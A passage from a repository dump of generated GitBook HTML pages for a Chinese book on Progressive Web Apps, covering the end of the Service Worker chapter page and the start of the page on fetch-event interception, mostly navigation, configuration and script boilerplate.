Worker&#x3002;&#x638C;&#x63E1;&#x8FD9;&#x4E9B;&#x57FA;&#x672C;&#x7684;&#x77E5;&#x8BC6;&#xFF0C;&#x53EF;&#x4EE5;&#x8BA9;&#x6211;&#x4EEC;&#x66F4;&#x5BB9;&#x6613;&#x7406;&#x89E3; PWA &#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x673A;&#x5236;&#x7684;&#x5B9E;&#x73B0;&#x539F;&#x7406;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"chapter03/5-indexeddb.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 3.5 IndexedDB\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"chapter04/1-service-worker-introduction.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 4.1 Service Worker 简介\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"第4章 Service Worker\",\"level\":\"1.5\",\"depth\":1,\"next\":{\"title\":\"4.1 Service Worker 简介\",\"level\":\"1.5.1\",\"depth\":2,\"path\":\"chapter04/1-service-worker-introduction.md\",\"ref\":\"chapter04/1-service-worker-introduction.md\",\"articles\":[]},\"previous\":{\"title\":\"3.5 IndexedDB\",\"level\":\"1.4.5\",\"depth\":2,\"path\":\"chapter03/5-indexeddb.md\",\"ref\":\"chapter03/5-indexeddb.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter04.md\",\"mtime\":\"2019-06-19T10:37:42.143Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter05/1-fetch-event-management.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>5.1 资源请求的拦截代理 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"2-local-storage-management.html\" />\n    \n    \n    <link rel=\"prev\" href=\"../chapter05.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter active\" data-level=\"1.6.1\" data-path=\"1-fetch-event-management.html\">\n            \n                <a href=\"1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"2-local-storage-management.html\">\n            \n                <a href=\"2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"3-respond-strategy.html\">\n            \n                <a href=\"3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"4-precache.html\">\n            \n                <a href=\"4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"5-workbox.html\">\n            \n                <a href=\"5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >5.1 资源请求的拦截代理</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                